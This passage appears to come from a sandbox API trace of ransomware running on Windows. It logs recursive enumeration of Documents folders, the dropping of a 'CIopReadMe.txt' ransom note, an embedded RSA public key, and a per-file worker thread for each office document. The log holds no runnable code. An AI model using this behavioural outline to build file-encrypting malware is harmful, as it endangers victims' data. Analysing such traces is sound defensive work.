lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0090.825] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0xffffffff) returned 0x0 [0090.903] SetErrorMode (uMode=0x1) returned 0x1 [0090.903] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\CIopReadMe.txt") returned 87 [0090.904] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.904] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0090.904] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0090.904] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0090.904] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0090.904] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0090.904] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c [0090.904] WriteFile (in: hFile=0x41c, lpBuffer=0x612918*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc3594, lpOverlapped=0x0 | out: lpBuffer=0x612918*, lpNumberOfBytesWritten=0x2dc3594*=0x759, lpOverlapped=0x0) returned 1 [0090.905] CloseHandle (hObject=0x41c) returned 1 [0090.905] FindNextFileW (in: hFindFile=0x5c3610, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.905] FindNextFileW (in: hFindFile=0x5c3610, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.905] FindNextFileW (in: hFindFile=0x5c3610, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.905] lstrcmpW (lpString1="GAgDtV.ods", lpString2="..") returned 1 [0090.905] lstrcmpW (lpString1="GAgDtV.ods", lpString2=".") returned 1 [0090.905] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned 77 [0090.905] Sleep (dwMilliseconds=0xd) [0090.919] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.919] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="GAgDtV.ods" | out: lpString1="GAgDtV.ods") returned="GAgDtV.ods" [0090.919] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0090.919] WaitForSingleObject (hHandle=0x41c, dwMilliseconds=0xffffffff) returned 0x0 [0090.949] SetErrorMode (uMode=0x1) returned 0x1 [0090.949] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\CIopReadMe.txt") returned 87 [0090.949] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0090.949] CloseHandle (hObject=0x414) returned 1 [0090.949] FindNextFileW (in: hFindFile=0x5c3610, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.949] lstrcmpW (lpString1="yhA0tWH2QIX.odt", lpString2="..") returned 1 [0090.949] lstrcmpW (lpString1="yhA0tWH2QIX.odt", lpString2=".") returned 1 [0090.949] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned 77 [0090.949] Sleep (dwMilliseconds=0xd) [0090.966] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.966] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="yhA0tWH2QIX.odt" | out: lpString1="yhA0tWH2QIX.odt") returned="yhA0tWH2QIX.odt" [0090.966] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0090.966] SetErrorMode (uMode=0x1) returned 0x1 [0090.966] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\CIopReadMe.txt") returned 87 [0090.966] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0090.967] CloseHandle (hObject=0x424) returned 1 [0090.967] FindNextFileW (in: hFindFile=0x5c3610, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0090.967] FindClose (in: hFindFile=0x5c3610 | out: hFindFile=0x5c3610) returned 1 [0090.967] FindClose (in: hFindFile=0x5c3610 | out: hFindFile=0x5c3610) returned 0 [0090.967] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0090.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0090.967] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c3310 [0090.967] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0090.967] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0090.967] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0090.967] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.967] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.967] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0090.967] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.967] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.967] lstrcmpW (lpString1="2pWzntbD", lpString2="..") returned 1 [0090.967] lstrcmpW (lpString1="2pWzntbD", lpString2=".") returned 1 [0090.967] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0090.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0090.967] SetErrorMode (uMode=0x1) returned 0x1 [0090.968] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0090.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0090.968] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0090.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0090.968] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x5c3890 [0090.968] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0090.968] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0090.968] FindNextFileW (in: hFindFile=0x5c3890, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0090.968] FindNextFileW (in: hFindFile=0x5c3890, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0090.968] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx", lpString2="..") returned 1 [0090.968] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx", lpString2=".") returned 1 [0090.968] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned 86 [0090.968] Sleep (dwMilliseconds=0xd) [0090.983] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.983] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="51gZ9cs6QyQwB.xlsx" | out: lpString1="51gZ9cs6QyQwB.xlsx") returned="51gZ9cs6QyQwB.xlsx" [0090.983] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0090.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0090.983] SetErrorMode (uMode=0x1) returned 0x1 [0090.983] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\CIopReadMe.txt") returned 96 [0090.983] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.984] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0090.984] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0090.984] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0090.984] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0090.984] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0090.984] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x430 [0090.984] WriteFile (in: hFile=0x430, lpBuffer=0x5f0c50*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc195c, lpOverlapped=0x0 | out: lpBuffer=0x5f0c50*, lpNumberOfBytesWritten=0x2dc195c*=0x759, lpOverlapped=0x0) returned 1 [0090.985] CloseHandle (hObject=0x430) returned 1 [0090.985] FindNextFileW (in: hFindFile=0x5c3890, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0090.985] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx", lpString2="..") returned 1 [0090.985] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx", lpString2=".") returned 1 [0090.985] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned 86 [0090.985] Sleep (dwMilliseconds=0xd) [0091.028] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.028] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="FMVnxBVv7u9Rp.docx" | out: lpString1="FMVnxBVv7u9Rp.docx") returned="FMVnxBVv7u9Rp.docx" [0091.028] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0091.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0091.029] WaitForSingleObject (hHandle=0x428, dwMilliseconds=0xffffffff) returned 0x0 [0091.153] SetErrorMode (uMode=0x1) returned 0x1 [0091.153] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\CIopReadMe.txt") returned 96 [0091.153] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0091.153] CloseHandle (hObject=0x430) returned 1 [0091.153] FindNextFileW (in: hFindFile=0x5c3890, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.153] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt", lpString2="..") returned 1 [0091.153] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt", lpString2=".") returned 1 [0091.153] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned 86 [0091.153] Sleep (dwMilliseconds=0xd) [0091.169] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 